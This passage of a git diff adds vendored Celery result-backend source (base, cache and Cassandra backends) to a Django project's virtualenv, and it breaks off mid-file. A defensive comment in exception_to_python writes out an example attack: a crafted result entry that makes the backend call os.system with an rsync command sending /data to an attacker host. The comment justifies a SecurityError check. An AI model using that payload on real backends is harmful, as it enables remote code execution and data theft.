self.app.signature(errback) + if not errback._app: + # Ensure all signatures have an application + errback._app = self.app + try: + if ( + # Celery tasks type created with the @task decorator have + # the __header__ property, but Celery task created from + # Task class do not have this property. + # That's why we have to check if this property exists + # before checking is it partial function. + hasattr(errback.type, '__header__') and + + # workaround to support tasks with bind=True executed as + # link errors. Otherwise retries can't be used + not isinstance(errback.type.__header__, partial) and + arity_greater(errback.type.__header__, 1) + ): + errback(request, exc, traceback) + else: + old_signature.append(errback) + except NotRegistered: + # Task may not be present in this worker. + # We simply send it forward for another worker to consume. + # If the task is not registered there, the worker will raise + # NotRegistered. + old_signature.append(errback) + + if old_signature: + # Previously errback was called as a task so we still + # need to do so if the errback only takes a single task_id arg. + task_id = request.id + root_id = request.root_id or task_id + g = group(old_signature, app=self.app) + if self.app.conf.task_always_eager or request.delivery_info.get('is_eager', False): + g.apply( + (task_id,), parent_id=task_id, root_id=root_id + ) + else: + g.apply_async( + (task_id,), parent_id=task_id, root_id=root_id + ) + + def mark_as_revoked(self, task_id, reason='', + request=None, store_result=True, state=states.REVOKED): + exc = TaskRevokedError(reason) + if store_result: + self.store_result(task_id, exc, state, + traceback=None, request=request) + if request and request.chord: + self.on_chord_part_return(request, state, exc) + + def mark_as_retry(self, task_id, exc, traceback=None, + request=None, store_result=True, state=states.RETRY): + """Mark task as being retries. + + Note: + Stores the current exception (if any). + """ + return self.store_result(task_id, exc, state, + traceback=traceback, request=request) + + def chord_error_from_stack(self, callback, exc=None): + app = self.app + try: + backend = app._tasks[callback.task].backend + except KeyError: + backend = self + # We have to make a fake request since either the callback failed or + # we're pretending it did since we don't have information about the + # chord part(s) which failed. This request is constructed as a best + # effort for new style errbacks and may be slightly misleading about + # what really went wrong, but at least we call them! + fake_request = Context({ + "id": callback.options.get("task_id"), + "errbacks": callback.options.get("link_error", []), + "delivery_info": dict(), + **callback + }) + try: + self._call_task_errbacks(fake_request, exc, None) + except Exception as eb_exc: # pylint: disable=broad-except + return backend.fail_from_current_stack(callback.id, exc=eb_exc) + else: + return backend.fail_from_current_stack(callback.id, exc=exc) + + def fail_from_current_stack(self, task_id, exc=None): + type_, real_exc, tb = sys.exc_info() + try: + exc = real_exc if exc is None else exc + exception_info = ExceptionInfo((type_, exc, tb)) + self.mark_as_failure(task_id, exc, exception_info.traceback) + return exception_info + finally: + while tb is not None: + try: + tb.tb_frame.clear() + tb.tb_frame.f_locals + except RuntimeError: + # Ignore the exception raised if the frame is still executing. + pass + tb = tb.tb_next + + del tb + + def prepare_exception(self, exc, serializer=None): + """Prepare exception for serialization.""" + serializer = self.serializer if serializer is None else serializer + if serializer in EXCEPTION_ABLE_CODECS: + return get_pickleable_exception(exc) + exctype = type(exc) + return {'exc_type': getattr(exctype, '__qualname__', exctype.__name__), + 'exc_message': ensure_serializable(exc.args, self.encode), + 'exc_module': exctype.__module__} + + def exception_to_python(self, exc): + """Convert serialized exception to Python exception.""" + if not exc: + return None + elif isinstance(exc, BaseException): + if self.serializer in EXCEPTION_ABLE_CODECS: + exc = get_pickled_exception(exc) + return exc + elif not isinstance(exc, dict): + try: + exc = dict(exc) + except TypeError as e: + raise TypeError(f"If the stored exception isn't an " + f"instance of " + f"BaseException, it must be a dictionary.\n" + f"Instead got: {exc}") from e + + exc_module = exc.get('exc_module') + try: + exc_type = exc['exc_type'] + except KeyError as e: + raise ValueError("Exception information must include" + "the exception type") from e + if exc_module is None: + cls = create_exception_cls( + exc_type, __name__) + else: + try: + # Load module and find exception class in that + cls = sys.modules[exc_module] + # The type can contain qualified name with parent classes + for name in exc_type.split('.'): + cls = getattr(cls, name) + except (KeyError, AttributeError): + cls = create_exception_cls(exc_type, + celery.exceptions.__name__) + exc_msg = exc.get('exc_message', '') + + # If the recreated exception type isn't indeed an exception, + # this is a security issue. Without the condition below, an attacker + # could exploit a stored command vulnerability to execute arbitrary + # python code such as: + # os.system("rsync /data attacker@192.168.56.100:~/data") + # The attacker sets the task's result to a failure in the result + # backend with the os as the module, the system function as the + # exception type and the payload + # rsync /data attacker@192.168.56.100:~/data + # as the exception arguments like so: + # { + # "exc_module": "os", + # "exc_type": "system", + # "exc_message": "rsync /data attacker@192.168.56.100:~/data" + # } + if not isinstance(cls, type) or not issubclass(cls, BaseException): + fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}' + raise SecurityError( + f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}") + + # XXX: Without verifying `cls` is actually an exception class, + # an attacker could execute arbitrary python code. + # cls could be anything, even eval(). + try: + if isinstance(exc_msg, (tuple, list)): + exc = cls(*exc_msg) + else: + exc = cls(exc_msg) + except Exception as err: # noqa + exc = Exception(f'{cls}({exc_msg})') + + return exc + + def prepare_value(self, result): + """Prepare value for storage.""" + if self.serializer != 'pickle' and isinstance(result, ResultBase): + return result.as_tuple() + return result + + def encode(self, data): + _, _, payload = self._encode(data) + return payload + + def _encode(self, data): + return dumps(data, serializer=self.serializer) + + def meta_from_decoded(self, meta): + if meta['status'] in self.EXCEPTION_STATES: + meta['result'] = self.exception_to_python(meta['result']) + return meta + + def decode_result(self, payload): + return self.meta_from_decoded(self.decode(payload)) + + def decode(self, payload): + if payload is None: + return payload + payload = payload or str(payload) + return loads(payload, + content_type=self.content_type, + content_encoding=self.content_encoding, + accept=self.accept) + + def prepare_expires(self, value, type=None): + if value is None: + value = self.app.conf.result_expires + if isinstance(value, timedelta): + value = value.total_seconds() + if value is not None and type: + return type(value) + return value + + def prepare_persistent(self, enabled=None): + if enabled is not None: + return enabled + persistent = self.app.conf.result_persistent + return self.persistent if persistent is None else persistent + + def encode_result(self, result, state): + if state in self.EXCEPTION_STATES and isinstance(result, Exception): + return self.prepare_exception(result) + return self.prepare_value(result) + + def is_cached(self, task_id): + return task_id in self._cache + + def _get_result_meta(self, result, + state, traceback, request, format_date=True, + encode=False): + if state in self.READY_STATES: + date_done = datetime.utcnow() + if format_date: + date_done = date_done.isoformat() + else: + date_done = None + + meta = { + 'status': state, + 'result': result, + 'traceback': traceback, + 'children': self.current_task_children(request), + 'date_done': date_done, + } + + if request and getattr(request, 'group', None): + meta['group_id'] = request.group + if request and getattr(request, 'parent_id', None): + meta['parent_id'] = request.parent_id + + if self.app.conf.find_value_for_key('extended', 'result'): + if request: + request_meta = { + 'name': getattr(request, 'task', None), + 'args': getattr(request, 'args', None), + 'kwargs': getattr(request, 'kwargs', None), + 'worker': getattr(request, 'hostname', None), + 'retries': getattr(request, 'retries', None), + 'queue': request.delivery_info.get('routing_key') + if hasattr(request, 'delivery_info') and + request.delivery_info else None + } + + if encode: + # args and kwargs need to be encoded properly before saving + encode_needed_fields = {"args", "kwargs"} + for field in encode_needed_fields: + value = request_meta[field] + encoded_value = self.encode(value) + request_meta[field] = ensure_bytes(encoded_value) + + meta.update(request_meta) + + return meta + + def _sleep(self, amount): + time.sleep(amount) + + def store_result(self, task_id, result, state, + traceback=None, request=None, **kwargs): + """Update task state and result. + + if always_retry_backend_operation is activated, in the event of a recoverable exception, + then retry operation with an exponential backoff until a limit has been reached. + """ + result = self.encode_result(result, state) + + retries = 0 + + while True: + try: + self._store_result(task_id, result, state, traceback, + request=request, **kwargs) + return result + except Exception as exc: + if self.always_retry and self.exception_safe_to_retry(exc): + if retries < self.max_retries: + retries += 1 + + # get_exponential_backoff_interval computes integers + # and time.sleep accept floats for sub second sleep + sleep_amount = get_exponential_backoff_interval( + self.base_sleep_between_retries_ms, retries, + self.max_sleep_between_retries_ms, True) / 1000 + self._sleep(sleep_amount) + else: + raise_with_context( + BackendStoreError("failed to store result on the backend", task_id=task_id, state=state), + ) + else: + raise + + def forget(self, task_id): + self._cache.pop(task_id, None) + self._forget(task_id) + + def _forget(self, task_id): + raise NotImplementedError('backend does not implement forget.') + + def get_state(self, task_id): + """Get the state of a task.""" + return self.get_task_meta(task_id)['status'] + + get_status = get_state # XXX compat + + def get_traceback(self, task_id): + """Get the traceback for a failed task.""" + return self.get_task_meta(task_id).get('traceback') + + def get_result(self, task_id): + """Get the result of a task.""" + return self.get_task_meta(task_id).get('result') + + def get_children(self, task_id): + """Get the list of subtasks sent by a task.""" + try: + return self.get_task_meta(task_id)['children'] + except KeyError: + pass + + def _ensure_not_eager(self): + if self.app.conf.task_always_eager: + warnings.warn( + "Shouldn't retrieve result with task_always_eager enabled.", + RuntimeWarning + ) + + def exception_safe_to_retry(self, exc): + """Check if an exception is safe to retry. + + Backends have to overload this method with correct predicates dealing with their exceptions. + + By default no exception is safe to retry, it's up to backend implementation + to define which exceptions are safe. + """ + return False + + def get_task_meta(self, task_id, cache=True): + """Get task meta from backend. + + if always_retry_backend_operation is activated, in the event of a recoverable exception, + then retry operation with an exponential backoff until a limit has been reached. + """ + self._ensure_not_eager() + if cache: + try: + return self._cache[task_id] + except KeyError: + pass + retries = 0 + while True: + try: + meta = self._get_task_meta_for(task_id) + break + except Exception as exc: + if self.always_retry and self.exception_safe_to_retry(exc): + if retries < self.max_retries: + retries += 1 + + # get_exponential_backoff_interval computes integers + # and time.sleep accept floats for sub second sleep + sleep_amount = get_exponential_backoff_interval( + self.base_sleep_between_retries_ms, retries, + self.max_sleep_between_retries_ms, True) / 1000 + self._sleep(sleep_amount) + else: + raise_with_context( + BackendGetMetaError("failed to get meta", task_id=task_id), + ) + else: + raise + + if cache and meta.get('status') == states.SUCCESS: + self._cache[task_id] = meta + return meta + + def reload_task_result(self, task_id): + """Reload task result, even if it has been previously fetched.""" + self._cache[task_id] = self.get_task_meta(task_id, cache=False) + + def reload_group_result(self, group_id): + """Reload group result, even if it has been previously fetched.""" + self._cache[group_id] = self.get_group_meta(group_id, cache=False) + + def get_group_meta(self, group_id, cache=True): + self._ensure_not_eager() + if cache: + try: + return self._cache[group_id] + except KeyError: + pass + + meta = self._restore_group(group_id) + if cache and meta is not None: + self._cache[group_id] = meta + return meta + + def restore_group(self, group_id, cache=True): + """Get the result for a group.""" + meta = self.get_group_meta(group_id, cache=cache) + if meta: + return meta['result'] + + def save_group(self, group_id, result): + """Store the result of an executed group.""" + return self._save_group(group_id, result) + + def delete_group(self, group_id): + self._cache.pop(group_id, None) + return self._delete_group(group_id) + + def cleanup(self): + """Backend cleanup.""" + + def process_cleanup(self): + """Cleanup actions to do at the end of a task worker process.""" + + def on_task_call(self, producer, task_id): + return {} + + def add_to_chord(self, chord_id, result): + raise NotImplementedError('Backend does not support add_to_chord') + + def on_chord_part_return(self, request, state, result, **kwargs): + pass + + def set_chord_size(self, group_id, chord_size): + pass + + def fallback_chord_unlock(self, header_result, body, countdown=1, + **kwargs): + kwargs['result'] = [r.as_tuple() for r in header_result] + try: + body_type = getattr(body, 'type', None) + except NotRegistered: + body_type = None + + queue = body.options.get('queue', getattr(body_type, 'queue', None)) + + if queue is None: + # fallback to default routing if queue name was not + # explicitly passed to body callback + queue = self.app.amqp.router.route(kwargs, body.name)['queue'].name + + priority = body.options.get('priority', getattr(body_type, 'priority', 0)) + self.app.tasks['celery.chord_unlock'].apply_async( + (header_result.id, body,), kwargs, + countdown=countdown, + queue=queue, + priority=priority, + ) + + def ensure_chords_allowed(self): + pass + + def apply_chord(self, header_result_args, body, **kwargs): + self.ensure_chords_allowed() + header_result = self.app.GroupResult(*header_result_args) + self.fallback_chord_unlock(header_result, body, **kwargs) + + def current_task_children(self, request=None): + request = request or getattr(get_current_task(), 'request', None) + if request: + return [r.as_tuple() for r in getattr(request, 'children', [])] + + def __reduce__(self, args=(), kwargs=None): + kwargs = {} if not kwargs else kwargs + return (unpickle_backend, (self.__class__, args, kwargs)) + + +class SyncBackendMixin: + def iter_native(self, result, timeout=None, interval=0.5, no_ack=True, + on_message=None, on_interval=None): + self._ensure_not_eager() + results = result.results + if not results: + return + + task_ids = set() + for result in results: + if isinstance(result, ResultSet): + yield result.id, result.results + else: + task_ids.add(result.id) + + yield from self.get_many( + task_ids, + timeout=timeout, interval=interval, no_ack=no_ack, + on_message=on_message, on_interval=on_interval, + ) + + def wait_for_pending(self, result, timeout=None, interval=0.5, + no_ack=True, on_message=None, on_interval=None, + callback=None, propagate=True): + self._ensure_not_eager() + if on_message is not None: + raise ImproperlyConfigured( + 'Backend does not support on_message callback') + + meta = self.wait_for( + result.id, timeout=timeout, + interval=interval, + on_interval=on_interval, + no_ack=no_ack, + ) + if meta: + result._maybe_set_cache(meta) + return result.maybe_throw(propagate=propagate, callback=callback) + + def wait_for(self, task_id, + timeout=None, interval=0.5, no_ack=True, on_interval=None): + """Wait for task and return its result. + + If the task raises an exception, this exception + will be re-raised by :func:`wait_for`. + + Raises: + celery.exceptions.TimeoutError: + If `timeout` is not :const:`None`, and the operation + takes longer than `timeout` seconds. + """ + self._ensure_not_eager() + + time_elapsed = 0.0 + + while 1: + meta = self.get_task_meta(task_id) + if meta['status'] in states.READY_STATES: + return meta + if on_interval: + on_interval() + # avoid hammering the CPU checking status. + time.sleep(interval) + time_elapsed += interval + if timeout and time_elapsed >= timeout: + raise TimeoutError('The operation timed out.') + + def add_pending_result(self, result, weak=False): + return result + + def remove_pending_result(self, result): + return result + + @property + def is_async(self): + return False + + +class BaseBackend(Backend, SyncBackendMixin): + """Base (synchronous) result backend.""" + + +BaseDictBackend = BaseBackend # XXX compat + + +class BaseKeyValueStoreBackend(Backend): + key_t = ensure_bytes + task_keyprefix = 'celery-task-meta-' + group_keyprefix = 'celery-taskset-meta-' + chord_keyprefix = 'chord-unlock-' + implements_incr = False + + def __init__(self, *args, **kwargs): + if hasattr(self.key_t, '__func__'): # pragma: no cover + self.key_t = self.key_t.__func__ # remove binding + self._encode_prefixes() + super().__init__(*args, **kwargs) + if self.implements_incr: + self.apply_chord = self._apply_chord_incr + + def _encode_prefixes(self): + self.task_keyprefix = self.key_t(self.task_keyprefix) + self.group_keyprefix = self.key_t(self.group_keyprefix) + self.chord_keyprefix = self.key_t(self.chord_keyprefix) + + def get(self, key): + raise NotImplementedError('Must implement the get method.') + + def mget(self, keys): + raise NotImplementedError('Does not support get_many') + + def _set_with_state(self, key, value, state): + return self.set(key, value) + + def set(self, key, value): + raise NotImplementedError('Must implement the set method.') + + def delete(self, key): + raise NotImplementedError('Must implement the delete method') + + def incr(self, key): + raise NotImplementedError('Does not implement incr') + + def expire(self, key, value): + pass + + def get_key_for_task(self, task_id, key=''): + """Get the cache key for a task by id.""" + key_t = self.key_t + return key_t('').join([ + self.task_keyprefix, key_t(task_id), key_t(key), + ]) + + def get_key_for_group(self, group_id, key=''): + """Get the cache key for a group by id.""" + key_t = self.key_t + return key_t('').join([ + self.group_keyprefix, key_t(group_id), key_t(key), + ]) + + def get_key_for_chord(self, group_id, key=''): + """Get the cache key for the chord waiting on group with given id.""" + key_t = self.key_t + return key_t('').join([ + self.chord_keyprefix, key_t(group_id), key_t(key), + ]) + + def _strip_prefix(self, key): + """Take bytes: emit string.""" + key = self.key_t(key) + for prefix in self.task_keyprefix, self.group_keyprefix: + if key.startswith(prefix): + return bytes_to_str(key[len(prefix):]) + return bytes_to_str(key) + + def _filter_ready(self, values, READY_STATES=states.READY_STATES): + for k, value in values: + if value is not None: + value = self.decode_result(value) + if value['status'] in READY_STATES: + yield k, value + + def _mget_to_results(self, values, keys, READY_STATES=states.READY_STATES): + if hasattr(values, 'items'): + # client returns dict so mapping preserved. + return { + self._strip_prefix(k): v + for k, v in self._filter_ready(values.items(), READY_STATES) + } + else: + # client returns list so need to recreate mapping. + return { + bytes_to_str(keys[i]): v + for i, v in self._filter_ready(enumerate(values), READY_STATES) + } + + def get_many(self, task_ids, timeout=None, interval=0.5, no_ack=True, + on_message=None, on_interval=None, max_iterations=None, + READY_STATES=states.READY_STATES): + interval = 0.5 if interval is None else interval + ids = task_ids if isinstance(task_ids, set) else set(task_ids) + cached_ids = set() + cache = self._cache + for task_id in ids: + try: + cached = cache[task_id] + except KeyError: + pass + else: + if cached['status'] in READY_STATES: + yield bytes_to_str(task_id), cached + cached_ids.add(task_id) + + ids.difference_update(cached_ids) + iterations = 0 + while ids: + keys = list(ids) + r = self._mget_to_results(self.mget([self.get_key_for_task(k) + for k in keys]), keys, READY_STATES) + cache.update(r) + ids.difference_update({bytes_to_str(v) for v in r}) + for key, value in r.items(): + if on_message is not None: + on_message(value) + yield bytes_to_str(key), value + if timeout and iterations * interval >= timeout: + raise TimeoutError(f'Operation timed out ({timeout})') + if on_interval: + on_interval() + time.sleep(interval) # don't busy loop. + iterations += 1 + if max_iterations and iterations >= max_iterations: + break + + def _forget(self, task_id): + self.delete(self.get_key_for_task(task_id)) + + def _store_result(self, task_id, result, state, + traceback=None, request=None, **kwargs): + meta = self._get_result_meta(result=result, state=state, + traceback=traceback, request=request) + meta['task_id'] = bytes_to_str(task_id) + + # Retrieve metadata from the backend, if the status + # is a success then we ignore any following update to the state. + # This solves a task deduplication issue because of network + # partitioning or lost workers. This issue involved a race condition + # making a lost task overwrite the last successful result in the + # result backend. + current_meta = self._get_task_meta_for(task_id) + + if current_meta['status'] == states.SUCCESS: + return result + + try: + self._set_with_state(self.get_key_for_task(task_id), self.encode(meta), state) + except BackendStoreError as ex: + raise BackendStoreError(str(ex), state=state, task_id=task_id) from ex + + return result + + def _save_group(self, group_id, result): + self._set_with_state(self.get_key_for_group(group_id), + self.encode({'result': result.as_tuple()}), states.SUCCESS) + return result + + def _delete_group(self, group_id): + self.delete(self.get_key_for_group(group_id)) + + def _get_task_meta_for(self, task_id): + """Get task meta-data for a task by id.""" + meta = self.get(self.get_key_for_task(task_id)) + if not meta: + return {'status': states.PENDING, 'result': None} + return self.decode_result(meta) + + def _restore_group(self, group_id): + """Get task meta-data for a task by id.""" + meta = self.get(self.get_key_for_group(group_id)) + # previously this was always pickled, but later this + # was extended to support other serializers, so the + # structure is kind of weird. + if meta: + meta = self.decode(meta) + result = meta['result'] + meta['result'] = result_from_tuple(result, self.app) + return meta + + def _apply_chord_incr(self, header_result_args, body, **kwargs): + self.ensure_chords_allowed() + header_result = self.app.GroupResult(*header_result_args) + header_result.save(backend=self) + + def on_chord_part_return(self, request, state, result, **kwargs): + if not self.implements_incr: + return + app = self.app + gid = request.group + if not gid: + return + key = self.get_key_for_chord(gid) + try: + deps = GroupResult.restore(gid, backend=self) + except Exception as exc: # pylint: disable=broad-except + callback = maybe_signature(request.chord, app=app) + logger.exception('Chord %r raised: %r', gid, exc) + return self.chord_error_from_stack( + callback, + ChordError(f'Cannot restore group: {exc!r}'), + ) + if deps is None: + try: + raise ValueError(gid) + except ValueError as exc: + callback = maybe_signature(request.chord, app=app) + logger.exception('Chord callback %r raised: %r', gid, exc) + return self.chord_error_from_stack( + callback, + ChordError(f'GroupResult {gid} no longer exists'), + ) + val = self.incr(key) + # Set the chord size to the value defined in the request, or fall back + # to the number of dependencies we can see from the restored result + size = request.chord.get("chord_size") + if size is None: + size = len(deps) + if val > size: # pragma: no cover + logger.warning('Chord counter incremented too many times for %r', + gid) + elif val == size: + callback = maybe_signature(request.chord, app=app) + j = deps.join_native if deps.supports_native_join else deps.join + try: + with allow_join_result(): + ret = j( + timeout=app.conf.result_chord_join_timeout, + propagate=True) + except Exception as exc: # pylint: disable=broad-except + try: + culprit = next(deps._failed_join_report()) + reason = 'Dependency {0.id} raised {1!r}'.format( + culprit, exc, + ) + except StopIteration: + reason = repr(exc) + + logger.exception('Chord %r raised: %r', gid, reason) + self.chord_error_from_stack(callback, ChordError(reason)) + else: + try: + callback.delay(ret) + except Exception as exc: # pylint: disable=broad-except + logger.exception('Chord %r raised: %r', gid, exc) + self.chord_error_from_stack( + callback, + ChordError(f'Callback error: {exc!r}'), + ) + finally: + deps.delete() + self.client.delete(key) + else: + self.expire(key, self.expires) + + +class KeyValueStoreBackend(BaseKeyValueStoreBackend, SyncBackendMixin): + """Result backend base class for key/value stores.""" + + +class DisabledBackend(BaseBackend): + """Dummy result backend.""" + + _cache = {} # need this attribute to reset cache in tests. + + def store_result(self, *args, **kwargs): + pass + + def ensure_chords_allowed(self): + raise NotImplementedError(E_CHORD_NO_BACKEND.strip()) + + def _is_disabled(self, *args, **kwargs): + raise NotImplementedError(E_NO_BACKEND.strip()) + + def as_uri(self, *args, **kwargs): + return 'disabled://' + + get_state = get_status = get_result = get_traceback = _is_disabled + get_task_meta_for = wait_for = get_many = _is_disabled diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/cache.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/cache.py new file mode 100644 index 00000000..7d17837f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/cache.py @@ -0,0 +1,163 @@ +"""Memcached and in-memory cache result backend.""" +from kombu.utils.encoding import bytes_to_str, ensure_bytes +from kombu.utils.objects import cached_property + +from celery.exceptions import ImproperlyConfigured +from celery.utils.functional import LRUCache + +from .base import KeyValueStoreBackend + +__all__ = ('CacheBackend',) + +_imp = [None] + +REQUIRES_BACKEND = """\ +The Memcached backend requires either pylibmc or python-memcached.\ +""" + +UNKNOWN_BACKEND = """\ +The cache backend {0!r} is unknown, +Please use one of the following backends instead: {1}\ +""" + +# Global shared in-memory cache for in-memory cache client +# This is to share cache between threads +_DUMMY_CLIENT_CACHE = LRUCache(limit=5000) + + +def import_best_memcache(): + if _imp[0] is None: + is_pylibmc, memcache_key_t = False, bytes_to_str + try: + import pylibmc as memcache + is_pylibmc = True + except ImportError: + try: + import memcache + except ImportError: + raise ImproperlyConfigured(REQUIRES_BACKEND) + _imp[0] = (is_pylibmc, memcache, memcache_key_t) + return _imp[0] + + +def get_best_memcache(*args, **kwargs): + # pylint: disable=unpacking-non-sequence + # This is most definitely a sequence, but pylint thinks it's not. + is_pylibmc, memcache, key_t = import_best_memcache() + Client = _Client = memcache.Client + + if not is_pylibmc: + def Client(*args, **kwargs): + kwargs.pop('behaviors', None) + return _Client(*args, **kwargs) + + return Client, key_t + + +class DummyClient: + + def __init__(self, *args, **kwargs): + self.cache = _DUMMY_CLIENT_CACHE + + def get(self, key, *args, **kwargs): + return self.cache.get(key) + + def get_multi(self, keys): + cache = self.cache + return {k: cache[k] for k in keys if k in cache} + + def set(self, key, value, *args, **kwargs): + self.cache[key] = value + + def delete(self, key, *args, **kwargs): + self.cache.pop(key, None) + + def incr(self, key, delta=1): + return self.cache.incr(key, delta) + + def touch(self, key, expire): + pass + + +backends = { + 'memcache': get_best_memcache, + 'memcached': get_best_memcache, + 'pylibmc': get_best_memcache, + 'memory': lambda: (DummyClient, ensure_bytes), +} + + +class CacheBackend(KeyValueStoreBackend): + """Cache result backend.""" + + servers = None + supports_autoexpire = True + supports_native_join = True + implements_incr = True + + def __init__(self, app, expires=None, backend=None, + options=None, url=None, **kwargs): + options = {} if not options else options + super().__init__(app, **kwargs) + self.url = url + + self.options = dict(self.app.conf.cache_backend_options, + **options) + + self.backend = url or backend or self.app.conf.cache_backend + if self.backend: + self.backend, _, servers = self.backend.partition('://') + self.servers = servers.rstrip('/').split(';') + self.expires = self.prepare_expires(expires, type=int) + try: + self.Client, self.key_t = backends[self.backend]() + except KeyError: + raise ImproperlyConfigured(UNKNOWN_BACKEND.format( + self.backend, ', '.join(backends))) + self._encode_prefixes() # rencode the keyprefixes + + def get(self, key): + return self.client.get(key) + + def mget(self, keys): + return self.client.get_multi(keys) + + def set(self, key, value): + return self.client.set(key, value, self.expires) + + def delete(self, key): + return self.client.delete(key) + + def _apply_chord_incr(self, header_result_args, body, **kwargs): + chord_key = self.get_key_for_chord(header_result_args[0]) + self.client.set(chord_key, 0, time=self.expires) + return super()._apply_chord_incr( + header_result_args, body, **kwargs) + + def incr(self, key): + return self.client.incr(key) + + def expire(self, key, value): + return self.client.touch(key, value) + + @cached_property + def client(self): + return self.Client(self.servers, **self.options) + + def __reduce__(self, args=(), kwargs=None): + kwargs = {} if not kwargs else kwargs + servers = ';'.join(self.servers) + backend = f'{self.backend}://{servers}/' + kwargs.update( + {'backend': backend, + 'expires': self.expires, + 'options': self.options}) + return super().__reduce__(args, kwargs) + + def as_uri(self, *args, **kwargs): + """Return the backend as an URI. + + This properly handles the case of multiple servers. + """ + servers = ';'.join(self.servers) + return f'{self.backend}://{servers}/' diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/cassandra.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/cassandra.py new file mode 100644 index 00000000..bf4f69c2 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/cassandra.py @@ -0,0 +1,232 @@ +"""Apache Cassandra result store backend using the DataStax driver.""" +import threading + +from celery import states +from celery.exceptions import ImproperlyConfigured +from celery.utils.log import get_logger + +from .base import BaseBackend + +try: # pragma: no cover + import cassandra + import cassandra.auth + import cassandra.cluster + import cassandra.query +except ImportError: # pragma: no cover + cassandra = None + + +__all__ = ('CassandraBackend',) + +logger = get_logger(__name__) + +E_NO_CASSANDRA = """ +You need to install the cassandra-driver library to +use the Cassandra backend. See https://github.com/datastax/python-driver +""" + +E_NO_SUCH_CASSANDRA_AUTH_PROVIDER = """ +CASSANDRA_AUTH_PROVIDER you provided is not a valid auth_provider class. +See https://datastax.github.io/python-driver/api/cassandra/auth.html. +""" + +Q_INSERT_RESULT = """ +INSERT INTO {table} ( + task_id, status, result, date_done, traceback, children) VALUES ( + %s, %s, %s, %s, %s, %s) {expires}; +""" + +Q_SELECT_RESULT = """ +SELECT status, result, date_done, traceback, children +FROM {table} +WHERE task_id=%s +LIMIT 1 +""" + +Q_CREATE_RESULT_TABLE = """ +CREATE TABLE {table} ( + task_id text, + status text, + result blob, + date_done timestamp, + traceback blob, + children blob, + PRIMARY KEY ((task_id), date_done) +) WITH CLUSTERING ORDER BY (date_done DESC); +""" + +Q_EXPIRES = """ + USING TTL {0} +""" + + +def buf_t(x): + return bytes(x, 'utf8') + + +class CassandraBackend(BaseBackend): + """Cassandra backend utilizing DataStax driver. + + Raises: + celery.exceptions.ImproperlyConfigured: + if module :pypi:`cassandra-driver` is not available, + or if the :setting:`cassandra_servers` setting is not set. + """ + + #: List of Cassandra servers with format: ``hostname``. + servers = None + + supports_autoexpire = True # autoexpire supported via entry_ttl + + def __init__(self, servers=None, keyspace=None, table=None, entry_ttl=None, + port=9042, **kwargs): + super().__init__(**kwargs) + + if not cassandra: + raise ImproperlyConfigured(E_NO_CASSANDRA) + + conf = self.app.conf + self.servers = servers or conf.get('cassandra_servers', None) + self.port = port or conf.get('cassandra_port', None) + self.keyspace = keyspace or conf.get('cassandra_keyspace', None) + self.table = table or conf.get('cassandra_table', None) + self.cassandra_options = conf.get('cassandra_options', {}) + + if not self.servers or not self.keyspace or not self.table: + raise ImproperlyConfigured('Cassandra backend not configured.') + + expires = entry_ttl or conf.get('cassandra_entry_ttl', None) + + self.cqlexpires = ( + Q_EXPIRES.format(expires) if expires is not None else '') + + read_cons = conf.get('cassandra_read_consistency') or 'LOCAL_QUORUM' + write_cons = conf.get('cassandra_write_consistency') or 'LOCAL_QUORUM' + + self.read_consistency = getattr( + cassandra.ConsistencyLevel, read_cons, + cassandra.ConsistencyLevel.LOCAL_QUORUM) + self.write_consistency = getattr( + cassandra.ConsistencyLevel, write_cons, + cassandra.ConsistencyLevel.LOCAL_QUORUM) + + self.auth_provider = None + auth_provider = conf.get('cassandra_auth_provider', None) + auth_kwargs = conf.get('cassandra_auth_kwargs', None) + if auth_provider and auth_kwargs: + auth_provider_class = getattr(cassandra.auth, auth_provider, None) + if not auth_provider_class: + raise ImproperlyConfigured(E_NO_SUCH_CASSANDRA_AUTH_PROVIDER) + self.auth_provider = auth_provider_class(**auth_kwargs) + + self._cluster = None + self._session = None + self._write_stmt = None + self._read_stmt = None + self._lock = threading.RLock() + + def _get_connection(self, write=False): + """Prepare the connection for action. + + Arguments: + write (bool): are we a writer? + """ + if self._session is not None: + return + self._lock.acquire() + try: + if self._session is not None: + return + self._cluster = cassandra.cluster.Cluster( + self.servers, port=self.port, + auth_provider=self.auth_provider, + **self.cassandra_options) + self._session = self._cluster.connect(self.keyspace) + + # We're forced to do concatenation below, as formatting would + # blow up on superficial %s that'll be processed by Cassandra + self._write_stmt = cassandra.query.SimpleStatement( + Q_INSERT_RESULT.format( + table=self.table, expires=self.cqlexpires), + ) + self._write_stmt.consistency_level = self.write_consistency + + self._read_stmt = cassandra.query.SimpleStatement( + Q_SELECT_RESULT.format(table=self.table), + ) + self._read_stmt.consistency_level = self.read_consistency + + if write: + # Only possible writers "workers" are allowed to issue + # CREATE TABLE. This is to prevent conflicting situations + # where both task-creator and task-executor would issue it + # at the same time. + + # Anyway; if you're doing anything critical, you should + # have created this table in advance, in which case + # this query will be a no-op (AlreadyExists) + make_stmt = cassandra.query.SimpleStatement( + Q_CREATE_RESULT_TABLE.format(table=self.table), + ) + make_stmt.consistency_level = self.write_consistency + + try: + self._session.execute(make_stmt) + except cassandra.AlreadyExists: + pass + + except cassandra.OperationTimedOut: + # a heavily loaded or gone Cassandra cluster failed to respond. + # leave this class in a consistent state + if self._cluster is not None: + self._cluster.shutdown() # also shuts down _session + + self._cluster = None + self._session = None + raise # we did fail after all - reraise + finally: + self._lock.release() + + def _store_result(self, task_id, result, state, + traceback=None, request=None, **kwargs): + """Store return value and state of an executed task.""" + self._get_connection(write=True) + + self._session.execute(self._write_stmt, ( + task_id, + state, + buf_t(self.encode(result)), + self.app.now(), + buf_t(self.encode(traceback)), + buf_t(self.encode(self.current_task_children(request))) + )) + + def as_uri(self, include_password=True): + return 'cassandra://' + + def _get_task_meta_for(self, task_id): + """Get task meta-data for a task by id.""" + self._get_connection() + + res = self._session.execute(self._read_stmt, (task_id, )).one() + if not res: + return {'status': states.PENDING, 'result': None} + + status, result, date_done, traceback, children = res + + return self.meta_from_decoded({ + 'task_id': task_id, + 'status': status, + 'result': self.decode(result), + 'date_done': date_done, + 'traceback': 